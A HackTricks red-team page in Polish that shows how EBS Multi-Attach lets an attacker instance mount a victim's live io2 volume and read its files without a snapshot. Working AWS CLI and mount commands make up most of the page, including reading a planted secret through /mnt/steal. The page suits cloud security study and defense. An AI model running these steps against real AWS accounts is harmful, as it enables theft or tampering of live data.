AWS - Live Data Theft via EBS Multi-Attach

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks

Summary

Wykorzystaj EBS Multi-Attach, aby odczytać żywy wolumin danych io1/io2, dołączając ten sam wolumin do instancji kontrolowanej przez atakującego w tej samej Availability Zone (AZ). Zamontowanie udostępnionego woluminu w trybie read-only daje natychmiastowy dostęp do plików będących w użyciu bez tworzenia snapshotów.

Requirements

  • Target volume: io1 lub io2 utworzony z --multi-attach-enabled w tej samej AZ co instancja atakującego.
  • Permissions: ec2:AttachVolume, ec2:DescribeVolumes, ec2:DescribeInstances na docelowym woluminie/instancjach.
  • Infrastructure: typy instancji oparte na Nitro, które wspierają Multi-Attach (rodziny C5/M5/R5 itp.).

Notes

  • Montuj w trybie read-only z -o ro,noload, aby zmniejszyć ryzyko uszkodzenia i uniknąć odtwarzania dzienników.
  • Na instancjach Nitro urządzenie EBS NVMe eksponuje stabilną ścieżkę /dev/disk/by-id/nvme-Amazon_Elastic_Block_Store_vol... (pomoc poniżej).

Prepare a Multi-Attach io2 volume and attach to victim

Przykład (utwórz w us-east-1a i dołącz do ofiary):

AZ=us-east-1a
# Create io2 volume with Multi-Attach enabled
VOL_ID=$(aws ec2 create-volume \
--size 10 \
--volume-type io2 \
--iops 1000 \
--availability-zone $AZ \
--multi-attach-enabled \
--tag-specifications 'ResourceType=volume,Tags=[{Key=Name,Value=multi-shared}]' \
--query 'VolumeId' --output text)

# Attach to victim instance
aws ec2 attach-volume --volume-id $VOL_ID --instance-id $VICTIM_INSTANCE --device /dev/sdf

Na maszynie ofiary sformatuj/zamontuj nowy wolumin i zapisz dane wrażliwe (ilustracyjnie):

VOLNOHYP="vol${VOL_ID#vol-}"
DEV="/dev/disk/by-id/nvme-Amazon_Elastic_Block_Store_${VOLNOHYP}"
sudo mkfs.ext4 -F "$DEV"
sudo mkdir -p /mnt/shared
sudo mount "$DEV" /mnt/shared
echo 'secret-token-ABC123' | sudo tee /mnt/shared/secret.txt
sudo sync

Dołącz ten sam wolumin do instancji atakującej

aws ec2 attach-volume --volume-id $VOL_ID --instance-id $ATTACKER_INSTANCE --device /dev/sdf

Zamontuj w trybie tylko do odczytu na maszynie atakującego i odczytaj dane

VOLNOHYP="vol${VOL_ID#vol-}"
DEV="/dev/disk/by-id/nvme-Amazon_Elastic_Block_Store_${VOLNOHYP}"
sudo mkdir -p /mnt/steal
sudo mount -o ro,noload "$DEV" /mnt/steal
sudo cat /mnt/steal/secret.txt

Oczekiwany rezultat: Ten sam VOL_ID pokazuje wiele Attachments (victim and attacker) i attacker może odczytać pliki zapisane przez victim bez tworzenia żadnego snapshotu.

aws ec2 describe-volumes --volume-ids $VOL_ID \
--query 'Volumes[0].Attachments[*].{InstanceId:InstanceId,State:State,Device:Device}'
Pomocnik: znajdź ścieżkę urządzenia NVMe według ID wolumenu

Na instancjach Nitro użyj stabilnej ścieżki by-id, która osadza ID wolumenu (usuń myślnik po vol):

```bash VOLNOHYP="vol${VOL_ID#vol-}" ls -l /dev/disk/by-id/ | grep "$VOLNOHYP" # -> nvme-Amazon_Elastic_Block_Store_volXXXXXXXX... ```

Wpływ

  • Natychmiastowy dostęp do danych na żywo na docelowym woluminie EBS bez tworzenia snapshotów.
  • Jeśli zamontowany z uprawnieniami read-write, atakujący może manipulować systemem plików ofiary (ryzyko uszkodzenia).

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks